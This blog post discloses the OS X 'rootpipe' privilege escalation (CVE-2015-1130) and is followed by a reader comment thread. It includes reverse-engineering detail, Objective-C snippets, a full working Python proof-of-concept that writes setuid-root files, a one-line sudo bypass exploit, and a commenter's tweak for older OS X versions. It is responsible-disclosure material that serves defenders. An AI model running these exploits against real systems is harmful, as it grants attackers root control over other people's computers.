Hidden backdoor API to root privileges in Apple OS X

TL;DR

The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup
You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:

Pic1

Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup
> systemsetup
> type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:

UserUtilities_createFileWithContents

This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Is it really that simple? No! 🙂 But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:

 SystemAdministration-1e25d

OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:

_onewayMessageDispatcher

The authenticateUsingAuthorization method is where the actual initialization takes place:

authenticateUsingAuthorization

This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.

ActivityMon-writeconfig

The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:

RemoteServerSettings_authenticate

It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! 🙂

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit www.securityconf.se for more info.

Timeline

  • Oct 2nd 2014: First discovery
  • Oct 3rd 2014: First contact with Apple Product Security Team
  • Oct 14th 2014: Exploit code shared with Apple
  • Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
  • Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
  • Nov 14th 2014: Apple requested to postpone disclosure
  • Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
  • Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
  • Jan 16th 2015: CVE-2015-1130 created by Apple
  • Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
  • March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
  • April 1st 2015: Apple confirmed that release is coming the second week of April
  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Full disclosure

Exploit code

########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool

Security software engineer and researcher, with a passion for both reverse engineering and building secure software implementations (with a know-your-enemy approach).

Tagged with: , ,
Posted in Hacking
140 comments on “Hidden backdoor API to root privileges in Apple OS X
  1. Vic says:

    Has anyone tested this on OS X 10.6.8? I still have a Mac Mini HTPC running 10.6.8 Server and I’m loathe to retire it. I love that machine and OS. OS X 10.6.8 was the last great OS from Apple.

    Like

    • Please see comment from Felipe above.

      Like

    • Andy Neoson says:

      Even if this specific vulnerability does not exist in 10.6.8, there are a range of other similar exploits to escalate to root. I’d have to check, but there might even be remotely exploitable vulnerabilities in Apache on 10.6.8. Certainly there a quite a few vulnerabilities patched in Apache since the 10.6.8 release.
      Apple has not been very good with patching old versions of OS X (and sometimes even current versions have taken months to patch).
      If you want to keep running the 10.6 computer, then isolate it from the rest of your network, don’t use it for anything mission critical, restrict what you use on it, ensure that you understand what data is on it and the potential risks, and keep it backed up.

      Like

  2. bender says:

    Have the folks at Apple completely lost their minds? There is simply no excuse for leaving all their non-Yosemite users vulnerable like this. How can regular users make their thoughts on this known to them?

    Like

  3. Hmm seems like it would be alot of coding work but i will deffinitely try this out. Alot of work but still, its worth a shot.

    Like

  4. Jon says:

    Emil has done a great job of highlighting this issue to Apple, but discussing how to correct exploit code for older operating systems doesn’t help anyone. What’s most important at this juncture is convincing Apple to investigate and fix any confirmed issues. Discussing how to exploit OSX when no patches are available only helps the bad guys.

    Like

    • Miles Wolbe says:

      Hi Jon, I beg to differ with your suggestion that “Discussing how to exploit OSX when no patches are available only helps the bad guys”. It is very possible (even likely) that this hole has been known and exploited by others less ethical than Emil. Open and honest discussion around newly-discovered exploits is critical to securing systems (or at least being cognizant of the attack vectors) even if Apple refuses to offer official patches.

      Like

      • Jon says:

        Hi Miles, I can see your point there and responsible discussion and investigation can help to build the case for Apple to fix these issues, but providing the exploit code, or hints on how to get it working is frankly a gift to malware writers – that’s a certainty vs the possibility that someone else has worked it out. This paradox sure does open an interesting debate in how to responsibility work to harden systems. The difference here is Emil did it right, agreeing to secrecy until Apple released their upgrade to Yosemite ‘fix’.

        Apple didn’t do it right and should not have disclosed this until all supported platforms were fixed as they have effectively now shown how to exploit unpatched systems.

        How does openly discussing exploits for unpatchable systems on a public forum not help the enemy? I would suggest that privately discussing such exploits with Apple directly would be the more appropriate approach. If you have the skills and access to the platforms how about sending them in private the expolit code? Do they have a bug bounty program? Somehow however we need to build support for Apple to fix this and I appreciate your skills and helps and interfested to hear your further thoughts on the best approach from this point forward?

        Like

      • Miles Wolbe says:

        Hi Jon,

        Many thanks for your thoughtful reply. (Sorry to be responding to my own comment; WordPress apparently does not allow replies to be nested any deeper, so I cannot reply directly to you.)

        Please permit me to respond to your points below:

        providing the exploit code, or hints on how to get it working is frankly a gift to malware writers

        Given the information Emil has already disclosed (and that very possibly was known and exploited by others previously), malware authors around the world have all the information they need to exploit OS X 10.10.2 all the way back to at least 10.7, and likely 10.6 based on Felipe’s comment (by the way, my request for clarification on his code was for me to be able to verify myself that 10.6.8 could be exploited through the same vector).

        Like many in this thread, I feel that OS X peaked around 10.6.8 and am only running 10.9.5 because Apple silently abandoned Snow Leopard well over a year ago, leaving users vulnerable to known exploits:

        Apple retires Snow Leopard from support, leaves 1 in 5 Macs vulnerable to attacks
        “Twice now that Apple’s bypassed Snow Leopard when it patched newer editions”

        As evidenced in this thread, Snow Leopard remains a popular version among long-time Mac users, especially those who need to run PowerPC code. Being able to honestly assess the threat these users face and inform them of it is critical. Guessing or believing someone else’s report is not as reliable as finding out for oneself.

        If it turns out that 10.9 will never be patched (by Apple) or protected (via some reliable method that may come through discussions here or elsewhere) against this serious vulnerability, it may be time for those of us who care about security to move to a new platform. I join other veteran Mac users in loathing the slow slide towards iOS-ification of OS X.

        Apple didn’t do it right and should not have disclosed this until all supported platforms were fixed

        Amen, brother! I would only add that Apple also should have responded with a patch for all supported versions in 90 days or less, not over 5 months; Emil’s patience was exemplary.

        How does openly discussing exploits for unpatchable systems on a public forum not help the enemy?

        As mentioned above, malware writers need no more help than the information they already have; discussing the exploits openly and honestly here with proof of concept examples may allow users a way to protect against, or at least understand, the risks in running 10.10.2 or earlier. If nothing else, these discussions may convince users to upgrade or migrate to a safer platform. At the moment, it is clearly unsafe to run 10.10.2 or earlier, regardless of any discussions or example code on this or any other site.

        I appreciate your skills and helps and interested to hear your further thoughts on the best approach from this point forward?

        Thanks for the kind compliment, but sadly it is one I cannot accept; I am merely an itinerant technician, not a coder. As for moving forward, I would assume that OS X versions prior to 10.10.3 are fundamentally unsafe. For the many users who must run older versions of OS X for whatever reason (policy, legacy hardware/software, preference, etc), being as informed as possible is key – we cannot simply hope that the bad guys will fail to understand this weakness if we keep quiet.

        Like

  5. Jon says:

    It’s time for bed, so I’ll try to keep this brief! I do completely see some strengths in your points….some more to add in to the mix and in this case there doesn’t appear to be a ‘right’ answer.

    At this stage AFAIK (the thread is starting to get long) only some versions have been confirmed as exploitable as standard user, rather than admin. Although I’m curious to know if the version I’m running is at risk I would prefer that we didn’t already add to the growing knowledgebank on how to enhance or refine this exploit for more OSX variants, at least publically.

    Sure the code is already out there now. In normal circumstances this wouldn’t be an issue because a fix would be available. But it is an issue now that there are more than 60 million machines at risk and many can’t or won’t be upgraded. What Apple have failed to do here is provide a Fix (to supported platforms) They have only provided a solution which many will find unacceptable. Of course we can’t put the genie back in the bottle now, but I ask for caution in discussing these matters openly. The allies won World War Two with security from obscurity by not showing the nazis they’d cracked enigma and keeping the fact top secret.

    We unfortunately however equally can’t keep quiet; we know that malware writers reverse engineer patches and try and figure out if previous code shared the same vulnerabilities. I’m just suggesting that our efforts should be most focussed on convincing Apple to resolve this and quickly rather than increasing the knowledge and capabilities around the exploit. I am just struggling with how we can collectively and responsibly do that given the unusual circumstance, the lack of solution and severity of the problem. Sure there’s an intriguing intellectual aspect to working out if the exploit can be enhanced to works on certain systems, but is that really in the public interest?

    Lots of people are pretty well infested (I’ll leave that typo in!) in Apple’s products and of course we’ll have the, jump to xyz platform argument crop up all the time. The fact is all platforms have issues from time to time, but this one is serious and we security minded folk all share some responsibly in educating the entire software development community that these practices are not acceptable.

    Like

    • I fully concur with this opinion that one should hush up on this for a moment.

      I have filed a bug request and (to my utter surprise) even got from APPLE this in response within 24h:

      We are aware of this issue. It is being investigated. Thank you for taking the time to pass it along to us.

      which makes me hope, that the last word on (non-)patching pre-10.10.3 OSX’es isn’t yet cast.

      Please see also https://discussions.apple.com/message/28063760?ac_cid=tw123456#28063760 in Apple’s support community. It’s an interesting read what OSX users think about Apple’s strategy regarding this issue…

      Like

  6. Jason B says:

    Congratulations Apple. I finally upgraded from Mountain Lion to Yosemite on my 2012 MacBook Pro. You left me no other choice. It’s not bad really (other than being slower, more noticeable OpenGL “ghosting”, forced paid upgrade from VMware Fusion 6 -> 7, power button behaving differently, and Thunderbolt Display firmware patch reboot-loop. Luckily I haven’t seen any WiFi issues that have plagued so many other Yosemite users- fingers crossed.)

    In my book, Apple has declared End-of-Life for 10.8 and 10.9, as of April 2015.

    I saw Richard Stallman give a talk once, about 15 years ago. Despite not wearing shoes – he was right about Open Source. Mac OS X is free as in beer. GNU/Linux is free as in speech. This bug, this thread, and Apple’s (lack of) response really illustrated that FUNDAMENTAL difference.

    Again, congratulations Apple – my next laptop will be a Dell running Linux.

    Liked by 1 person

  7. Legacy Leopard says:

    Tweaked the script to test it on 10.5.8:

    def use_old_api():
    return re.match(“^(10.5|10.6|10.7|10.8)(.\d)?$”, platform.mac_ver()[0])

    The script works but triggers the OSX password prompt.

    As normal user:

    “Type an administrator’s name and password
    to allow Python to make changes.”

    As admin user:

    “Python requires that you type your password.”

    It only succeeds if I enter the corresponding credentials. Is it safe to assume that 10.5.8 is immune to this vulnerability?

    Like

  8. John Car says:

    I tried the RootPipeTester on my 10.9.5 MacPro and it shows no signs of being vulnerable!

    I won’t pretend I understand why, but I consider myself lucky.

    Like

  9. John Car says:

    Well, I’ll be darned. While the program window says that my system is not vulnerable, the file is still created in /private/tmp and it says “VULNERABLE” in it. Also, the file is read-write by everyone and rwsrwxrwx. Argghhhhhh

    Like

  10. Tommy K says:

    Some of your images aren’t coming through; this is just one of the images that now give me 404: https://truesecdev.files.wordpress.com/2015/04/userutilities_createfilewithcontents.jpg

    Like

  11. Miles Wolbe says:

    10.10.3 is apparently still vulnerable:

    Failed Apple Rootpipe Fix Leaves Backdoor On All Macs, Researchers Claim
    http://www.forbes.com/sites/thomasbrewster/2015/04/19/apple-fails-to-patch-rootpipe/

    OS X 10.10.3 update failed to fix Rootpipe vulnerability, says former NSA staffer
    http://9to5mac.com/2015/04/21/os-x-rootpipe-vulnerability-security/

    Like

  12. LS says:

    Any news about this (still no working patches from Apple)?

    Like

  13. srgmac says:

    “Amen, brother! I would only add that Apple also should have responded with a patch for all supported versions in 90 days or less, not over 5 months; Emil’s patience was exemplary.”

    I have to say I thought exactly the same thing when reading the timeline…wow, billions of dollars and the most valuable brand in the world, all those software dev. genius caliber employees and it’s still not fixed after this long? That’s just plain unacceptable. Kick ass job Emil for reporting this to Apple and creating the PoC.

    Like

  14. John Car says:

    Guys, I think 10.10.3 is NOT vulnerable. At least, not as far as RootPipeTester.

    Like

  15. LS says:

    So, is there no more hope for patches for earlier versions of OS X?

    Like

  16. larry says:

    Patches are issued to fix a system while maintaining full functionality. Until then aren’t there some measures end users can take even if it means some loss of functionality of their systems? Couldn’t one remove some component called by the exploit?

    Like

  17. More updates regarding Rootpipe, about how the patch by Apple in 10.10.3 was insufficient. Patches for OS X 10.9 are finally available. https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/

    Liked by 1 person

  18. After all, it seems that Apple could be convinced that this vulnerability deserves to be fixed also on Mavericks! 😉 Thanks Emil for highlighting all of this.

    Like

  19. LS says:

    Great! Would that be the Admin Framework part that addresses Rootpipe, meaning applying Security Update 2015-005 will secure Mavericks as well?

    Is OS X 10.8.5 considered safe in this matter?

    Like

  20. LS says:

    Thanks!

    But according to this article OS X 10.8 is far more safe in it’s original form than the two followers 🙂

    https://github.com/sideeffect42/RootPipeTester

    Like

  21. tim says:

    hello do you need physical access to the laptop or computer to do this or is this exploitable via the internet.

    Like

    • No physical access would not be needed.
      You would however need code already running on the machine in userland to exploit this.
      That potentially harmful code could have gotten on your machine in a number of ways.

      Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories
%d bloggers like this: